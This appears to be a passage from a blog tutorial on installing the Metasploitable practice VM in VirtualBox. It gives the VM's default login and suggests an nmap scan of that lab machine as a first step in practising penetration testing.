Create a new virtual machine in Virtual Box. Give the machine a descriptive name, and select Linux as the type.
Use an Existing Hard Disk
During the installation select Use an Existing Hard Disk File and select the downloaded Metasploitable vmdk file.
Once the machine has been created, go ahead and fire it up.
Start the VM
After the initial boot process you will be greeted by the Metasploitable login screen. The default username is “msfadmin”, and the default password is also “msfadmin”.
That is all it takes to install Metasploitable. Now you may be wondering where to begin…
Where to Start in Metasploitable
It can be overwhelming if you have no idea how to start. Running a simple nmap scan against Metasploitable should give you plenty of avenues to explore.
If you are still having trouble, there are tons of guides available for hacking your way through Metasploitable.
You may also find the cyber kill chain to be a good framework for pentesting any system.
Feel free to drop a comment below with any Metasploitable questions!